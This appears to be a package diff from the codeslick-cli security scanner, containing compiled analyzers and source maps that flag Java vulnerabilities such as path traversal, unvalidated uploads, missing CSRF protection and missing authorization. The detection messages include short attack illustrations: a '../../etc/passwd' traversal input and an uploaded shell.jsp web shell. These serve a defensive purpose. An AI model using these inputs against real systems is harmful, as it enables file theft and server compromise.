codeslick-cli 1.0.0

package/dist/src/lib/analyzers/java/security-checks/exception-handling.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"exception-handling.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/exception-handling.ts"],"names":[],"mappings":"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"}

package/dist/src/lib/analyzers/java/security-checks/file-operations.d.ts

@@ -0,0 +1,17 @@
+/**
+ * File Operations Security Module
+ *
+ * Detects insecure file handling practices in Java source code including:
+ * - Path traversal vulnerabilities
+ * - File upload without validation
+ *
+ * OWASP A01:2021 - Broken Access Control
+ */
+import { SecurityVulnerability } from '../../types';
+/**
+ * Check for insecure file operations in Java code
+ * @param lines - Array of code lines to analyze
+ * @returns Array of security vulnerabilities found
+ */
+export declare function checkFileOperations(lines: string[]): SecurityVulnerability[];
+//# sourceMappingURL=file-operations.d.ts.map

package/dist/src/lib/analyzers/java/security-checks/file-operations.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"file-operations.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/file-operations.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAGpD;;;;GAIG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,MAAM,EAAE,GAAG,qBAAqB,EAAE,CA4E5E"}

package/dist/src/lib/analyzers/java/security-checks/file-operations.js

@@ -0,0 +1,67 @@
+"use strict";
+/**
+ * File Operations Security Module
+ *
+ * Detects insecure file handling practices in Java source code including:
+ * - Path traversal vulnerabilities
+ * - File upload without validation
+ *
+ * OWASP A01:2021 - Broken Access Control
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkFileOperations = checkFileOperations;
+const createVulnerability_1 = require("../utils/createVulnerability");
+/**
+ * Check for insecure file operations in Java code
+ * @param lines - Array of code lines to analyze
+ * @returns Array of security vulnerabilities found
+ */
+function checkFileOperations(lines) {
+    const vulnerabilities = [];
+    let inMultiLineComment = false;
+    lines.forEach((line, index) => {
+        const trimmed = line.trim();
+        const lineNumber = index + 1;
+        // Track multi-line comment blocks (/* ... */)
+        if (trimmed.includes('/*')) {
+            inMultiLineComment = true;
+        }
+        if (trimmed.includes('*/')) {
+            inMultiLineComment = false;
+            return;
+        }
+        // Skip comments and empty lines
+        if (!trimmed || inMultiLineComment || trimmed.startsWith('//') || trimmed.startsWith('*'))
+            return;
+        // 11. Path Traversal - HIGH
+        // FIX (Dec 9, 2025): Include FileInputStream/FileOutputStream, verify actual user input
+        const hasFileOperation = trimmed.match(/new\s+File\s*\(/) ||
+            trimmed.match(/Paths\s*\.\s*get\s*\(/) ||
+            trimmed.match(/new\s+FileInputStream\s*\(/) ||
+            trimmed.match(/new\s+FileOutputStream\s*\(/);
+        const hasUserInput = trimmed.includes('..') ||
+            (trimmed.includes('+') && trimmed.match(/["'].*\+\s*\w+|<brace>\w+\s*\+\s*["']/)) ||
+            trimmed.match(/request\s*\.\s*getParameter/);
+        if (hasFileOperation && hasUserInput) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('path-traversal', 'Path Traversal vulnerability detected', 'Validate file paths against whitelist and use Path.normalize() to prevent directory traversal', lineNumber, 'Unvalidated file paths with user input allow attackers to use directory traversal sequences (../) to access files outside the intended directory. This can expose sensitive system files, application configuration, source code, or other users\' data.', 'new File(basePath + userInput) where userInput = "../../etc/passwd" reads system password file', [
+                'Sensitive file disclosure (/etc/passwd, config files)',
+                'Source code exposure',
+                'Application credential theft',
+                'Information disclosure',
+                'Arbitrary file read'
+            ], 'String filename = request.getParameter("file");\nFile file = new File("/uploads/" + filename); // Vulnerable\nFileInputStream fis = new FileInputStream(file);', 'String filename = request.getParameter("file");\nPath basePath = Paths.get("/uploads").toRealPath();\nPath filePath = basePath.resolve(filename).normalize();\nif (!filePath.startsWith(basePath)) {\n  throw new SecurityException("Invalid path");\n}\nFile file = filePath.toFile();', 'Use Path.normalize() to resolve .. sequences, then validate the resulting path starts with your base directory. Alternatively, use a whitelist of allowed filenames'));
+        }
+        // 12. File upload without validation - HIGH
+        if (trimmed.match(/\.transferTo\s*\(/) || trimmed.match(/FileOutputStream\s*\(/)) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('file-upload-no-validation', 'File upload without proper validation detected', 'Validate MIME type, file extension, size limit, and sanitize filename before storage', lineNumber, 'Unvalidated file uploads allow attackers to upload malicious files like web shells (JSP, WAR), executables, or oversized files. If these files are stored in web-accessible directories or executed by the server, attackers can achieve remote code execution, denial of service, or data exfiltration.', 'Attacker uploads shell.jsp to /uploads/, then accesses http://server/uploads/shell.jsp to execute arbitrary commands', [
+                'Remote Code Execution (web shell upload)',
+                'Server compromise',
+                'Denial of Service (large file upload)',
+                'Stored XSS (malicious HTML/SVG)',
+                'Path traversal via filename'
+            ], 'MultipartFile file = ...\nfile.transferTo(new File("/uploads/" + file.getOriginalFilename())); // No validation', 'MultipartFile file = ...\nString filename = file.getOriginalFilename();\n// Validate extension\nif (!filename.matches(".*\\\\.(jpg|png|pdf)$")) throw new SecurityException();\n// Validate MIME type\nif (!file.getContentType().startsWith("image/")) throw new SecurityException();\n// Validate size\nif (file.getSize() > 5_000_000) throw new SecurityException();\n// Sanitize filename\nString safeFilename = UUID.randomUUID() + ".jpg";\nfile.transferTo(new File("/uploads/" + safeFilename));', 'Validate file extension against whitelist, verify MIME type matches extension, enforce size limits, and use randomly generated filenames to prevent path traversal and overwrite attacks'));
+        }
+    });
+    return vulnerabilities;
+}
+//# sourceMappingURL=file-operations.js.map

package/dist/src/lib/analyzers/java/security-checks/file-operations.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"file-operations.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/file-operations.ts"],"names":[],"mappings":";AAAA;;;;;;;;GAQG;;AAUH,kDA4EC;AAnFD,sEAA+E;AAE/E;;;;GAIG;AACH,SAAgB,mBAAmB,CAAC,KAAe;IACjD,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,IAAI,kBAAkB,GAAG,KAAK,CAAC;IAE/B,KAAK,CAAC,OAAO,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,EAAE;QAC5B,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;QAC5B,MAAM,UAAU,GAAG,KAAK,GAAG,CAAC,CAAC;QAE7B,8CAA8C;QAC9C,IAAI,OAAO,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE,CAAC;YAC3B,kBAAkB,GAAG,IAAI,CAAC;QAC5B,CAAC;QACD,IAAI,OAAO,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE,CAAC;YAC3B,kBAAkB,GAAG,KAAK,CAAC;YAC3B,OAAO;QACT,CAAC;QAED,gCAAgC;QAChC,IAAI,CAAC,OAAO,IAAI,kBAAkB,IAAI,OAAO,CAAC,UAAU,CAAC,IAAI,CAAC,IAAI,OAAO,CAAC,UAAU,CAAC,GAAG,CAAC;YAAE,OAAO;QAElG,4BAA4B;QAC5B,wFAAwF;QACxF,MAAM,gBAAgB,GAAG,OAAO,CAAC,KAAK,CAAC,iBAAiB,CAAC;YACjC,OAAO,CAAC,KAAK,CAAC,uBAAuB,CAAC;YACtC,OAAO,CAAC,KAAK,CAAC,4BAA4B,CAAC;YAC3C,OAAO,CAAC,KAAK,CAAC,6BAA6B,CAAC,CAAC;QAErE,MAAM,YAAY,GAAG,OAAO,CAAC,QAAQ,CAAC,IAAI,CAAC;YACvB,CAAC,OAAO,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,OAAO,CAAC,KAAK,CAAC,uCAAuC,CAAC,CAAC;YACjF,OAAO,CAAC,KAAK,CAAC,6BAA6B,CAAC,CAAC;QAEjE,IAAI,gBAAgB,IAAI,YAAY,EAAE,CAAC;YACrC,eAAe,CAAC,IAAI,CAAC,IAAA,qDAA+B,EAClD,gBAAgB,EAChB,uCAAuC,EACvC,+FAA+F,EAC/F,UAAU,EACV,0PAA0P,EAC1P,gGAAgG,EAChG;gBACE,uDAAuD;gBACvD,sBAAsB;gBACtB,8BAA8B;gBAC9B,wBAAwB;gBACxB,qBAAqB;aACtB,EACD,gKAAgK,EAChK,yRAAyR,EACzR,qKAAqK,CACtK,CAAC,CAAC;QACL,CAAC;QAED,4CAA4C;QAC5C,IAAI,OAAO,CAAC,KAAK,CAAC,mBAAmB,CAAC,IAAI,OAAO,CAAC,KAAK,CAAC,uBAAuB,CAAC,EAAE,CAAC;YACjF,eAAe,CAAC,IAAI,CAAC,IAAA,qDAA+B,EAClD,2BAA2B,EAC3B,gDAAgD,EAChD,sFAAsF,EACtF,UAAU,EACV,0SAA0S,EAC1S,sHAAsH,EACtH;gBACE,0CAA0C;gBAC1C,mBAAmB;gBACnB,uCAAuC;gBACvC,iCAAiC;gBACjC,6BAA6B;aAC9B,EACD,iHAAiH,EACjH,2eAA2e,EAC3e,0LAA0L,CAC3L,CAAC,CAAC;QACL,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,eAAe,CAAC;AACzB,CAAC"}

package/dist/src/lib/analyzers/java/security-checks/framework-security.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Java Framework Security Detection Module
+ *
+ * This module detects framework-specific security vulnerabilities:
+ * - Log4j (CVE-2021-44228 Log4Shell) - checks #31-34
+ * - Spring Security - checks #27-30, #35
+ *   - #27: Insecure CORS (@CrossOrigin with *)
+ *   - #28: Path Traversal (@PathVariable with file operations)
+ *   - #29: Missing Rate Limiting (authentication endpoints)
+ *   - #30: Insecure Session Configuration (@RestController without STATELESS)
+ *   - #35: Missing @EnableGlobalMethodSecurity
+ *
+ * Added: Phase 6 Week 2 Day 5 (2025-11-19)
+ * Updated: 2025-12-01 (added checks #27-30)
+ */
+import { SecurityVulnerability } from '../../types';
+/**
+ * Checks for Log4j and Spring Security vulnerabilities in Java code
+ *
+ * @param lines - Array of code lines to analyze
+ * @param code - Full code string (needed for multi-line checks)
+ * @returns Array of detected security vulnerabilities
+ */
+export declare function checkFrameworkSecurity(lines: string[], code: string): SecurityVulnerability[];
+//# sourceMappingURL=framework-security.d.ts.map

package/dist/src/lib/analyzers/java/security-checks/framework-security.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"framework-security.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/framework-security.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;GAcG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAIpD;;;;;;GAMG;AACH,wBAAgB,sBAAsB,CAAC,KAAK,EAAE,MAAM,EAAE,EAAE,IAAI,EAAE,MAAM,GAAG,qBAAqB,EAAE,CA0oB7F"}

package/dist/src/lib/analyzers/java/security-checks/framework-security.js

@@ -0,0 +1,396 @@
+"use strict";
+/**
+ * Java Framework Security Detection Module
+ *
+ * This module detects framework-specific security vulnerabilities:
+ * - Log4j (CVE-2021-44228 Log4Shell) - checks #31-34
+ * - Spring Security - checks #27-30, #35
+ *   - #27: Insecure CORS (@CrossOrigin with *)
+ *   - #28: Path Traversal (@PathVariable with file operations)
+ *   - #29: Missing Rate Limiting (authentication endpoints)
+ *   - #30: Insecure Session Configuration (@RestController without STATELESS)
+ *   - #35: Missing @EnableGlobalMethodSecurity
+ *
+ * Added: Phase 6 Week 2 Day 5 (2025-11-19)
+ * Updated: 2025-12-01 (added checks #27-30)
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkFrameworkSecurity = checkFrameworkSecurity;
+const createVulnerability_1 = require("../utils/createVulnerability");
+const code_cleaner_1 = require("../../../utils/code-cleaner");
+/**
+ * Checks for Log4j and Spring Security vulnerabilities in Java code
+ *
+ * @param lines - Array of code lines to analyze
+ * @param code - Full code string (needed for multi-line checks)
+ * @returns Array of detected security vulnerabilities
+ */
+function checkFrameworkSecurity(lines, code) {
+    const vulnerabilities = [];
+    let inMultiLineComment = false;
+    lines.forEach((line, index) => {
+        const lineNumber = index + 1;
+        const trimmed = line.trim();
+        // CRITICAL: Track multi-line comment blocks (/* ... */)
+        if (trimmed.includes('/*')) {
+            inMultiLineComment = true;
+        }
+        if (trimmed.includes('*/')) {
+            inMultiLineComment = false;
+            return; // Skip the line with */
+        }
+        // CRITICAL: Skip all lines inside multi-line comments and single-line comments
+        // FIX (Dec 6, 2025): Added proper multi-line comment tracking
+        if (!trimmed ||
+            inMultiLineComment ||
+            trimmed.startsWith('//')) {
+            return;
+        }
+        // ==================== Spring Framework Security Detection ====================
+        // 21. Missing CSRF Protection - HIGH
+        if (trimmed.match(/@(PostMapping|PutMapping|DeleteMapping|RequestMapping)\s*\(/)) {
+            const prevLines = lines.slice(Math.max(0, index - 10), index);
+            const nextLines = lines.slice(index + 1, Math.min(index + 10, lines.length));
+            const allContext = [...prevLines, ...nextLines];
+            const hasCsrfDisabled = allContext.some(l => l.includes('@EnableWebSecurity') && l.includes('csrf().disable()'));
+            const hasCsrfToken = allContext.some(l => l.includes('CsrfToken') || l.includes('@CsrfToken'));
+            if (hasCsrfDisabled || !hasCsrfToken) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-csrf', '@PostMapping/@PutMapping/@DeleteMapping without CSRF protection', 'Enable CSRF: Configure Spring Security with .csrf() enabled and validate tokens', lineNumber, 'Spring endpoints that modify state (POST/PUT/DELETE) without CSRF protection are vulnerable to Cross-Site Request Forgery attacks. Attackers can trick authenticated users into executing unwanted actions (transferring funds, changing passwords, deleting data) by embedding malicious requests in third-party websites.', '@PostMapping("/transfer") on banking app + attacker website with <form> auto-submits to transfer money', [
+                    'Unauthorized state changes',
+                    'Account takeover',
+                    'Data modification/deletion',
+                    'Financial fraud',
+                    'Compliance violations (PCI-DSS)'
+                ], '@PostMapping("/users")\npublic User createUser(@RequestBody User user) {\n  return userService.save(user); // No CSRF token validation\n}', '// In SecurityConfig:\nhttp.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());\n\n// In Controller:\n@PostMapping("/users")\npublic User createUser(@RequestBody User user, CsrfToken token) {\n  return userService.save(user); // CSRF token validated automatically\n}', 'Enable CSRF protection in Spring Security configuration. For REST APIs using JWT/OAuth, CSRF may not be needed if using stateless authentication. For session-based authentication, CSRF protection is critical'));
+            }
+        }
+        // 22. Missing Authorization - CRITICAL
+        const hasSensitiveEndpoint = trimmed.match(/@(GetMapping|RequestMapping|PostMapping|PutMapping|DeleteMapping|PatchMapping)\s*\(/) &&
+            (trimmed.includes('/admin') || trimmed.includes('/delete') || trimmed.includes('/users') ||
+                trimmed.includes('/update') || trimmed.includes('/remove') || trimmed.includes('/financial') ||
+                trimmed.includes('/payment') || trimmed.includes('/transaction') || trimmed.includes('/system'));
+        if (hasSensitiveEndpoint && !trimmed.startsWith('/*') && !trimmed.startsWith('*')) {
+            const prevLines = lines.slice(Math.max(0, index - 10), index);
+            const hasAuth = prevLines.some(l => {
+                const lt = l.trim();
+                const codeOnly = code_cleaner_1.CodeCleaner.removeLineComments(l, 'java');
+                return !lt.startsWith('//') &&
+                    (codeOnly.includes('@PreAuthorize') ||
+                        codeOnly.includes('@Secured') ||
+                        codeOnly.includes('@RolesAllowed'));
+            });
+            if (!hasAuth) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('spring-missing-authorization', 'Sensitive endpoint without @PreAuthorize/@Secured authorization', 'Add @PreAuthorize("hasRole(\'ADMIN\')") or @Secured("ROLE_ADMIN") before endpoint', lineNumber, 'Spring endpoints accessing sensitive resources without authorization checks allow any authenticated user (or unauthenticated if security is misconfigured) to access admin functions, view/modify other users\' data, or perform privileged operations.', '@GetMapping("/admin/users") without @PreAuthorize allows regular users to list all users', [
+                    'Unauthorized data access',
+                    'Privilege escalation',
+                    'Data breach',
+                    'Account takeover',
+                    'Compliance violations (GDPR, SOC2)'
+                ], '@GetMapping("/admin/users")\npublic List<User> getAllUsers() {\n  return userService.findAll(); // No authorization check\n}', '@PreAuthorize("hasRole(\'ADMIN\')")\n@GetMapping("/admin/users")\npublic List<User> getAllUsers() {\n  return userService.findAll(); // Only accessible to ADMIN role\n}', 'Use @PreAuthorize with SpEL expressions for fine-grained authorization. Enable method security with @EnableGlobalMethodSecurity(prePostEnabled = true). Check user roles/permissions before accessing sensitive data'));
+            }
+        }
+        // 23. Unsafe ResponseBody (XSS) - CRITICAL
+        if ((trimmed.includes('@ResponseBody') || trimmed.includes('@RestController')) &&
+            !trimmed.startsWith('//') && !trimmed.startsWith('/*') && !trimmed.startsWith('*')) {
+            const prevLines = lines.slice(Math.max(0, index - 5), index);
+            const nextLines = [];
+            let braceCount = 0;
+            for (let i = index + 1; i < Math.min(index + 15, lines.length); i++) {
+                const l = lines[i];
+                for (const char of l) {
+                    if (char === '{')
+                        braceCount++;
+                    if (char === '}')
+                        braceCount--;
+                }
+                nextLines.push(l);
+                if (braceCount < 0 || (braceCount === 0 && l.includes('}'))) {
+                    break;
+                }
+            }
+            const allContext = [...prevLines, ...nextLines];
+            const hasUserInputParam = allContext.some(l => {
+                const lt = l.trim();
+                return !lt.startsWith('//') &&
+                    l.match(/@RequestParam|@PathVariable|@RequestBody|getParameter|request\.|req\./);
+            });
+            const hasHtmlConcatenation = nextLines.some(l => {
+                const lt = l.trim();
+                if (lt.startsWith('//') || lt.startsWith('/*'))
+                    return false;
+                const hasReturn = lt.match(/return\s+/);
+                const hasHtmlTag = lt.match(/<\/?[a-zA-Z][^>]*>/);
+                const hasConcatenation = lt.includes('+') || lt.includes('concat(');
+                const hasStringLiteral = lt.includes('"') || lt.includes("'");
+                return hasReturn && hasHtmlTag && hasConcatenation && hasStringLiteral;
+            });
+            if (hasUserInputParam && hasHtmlConcatenation) {
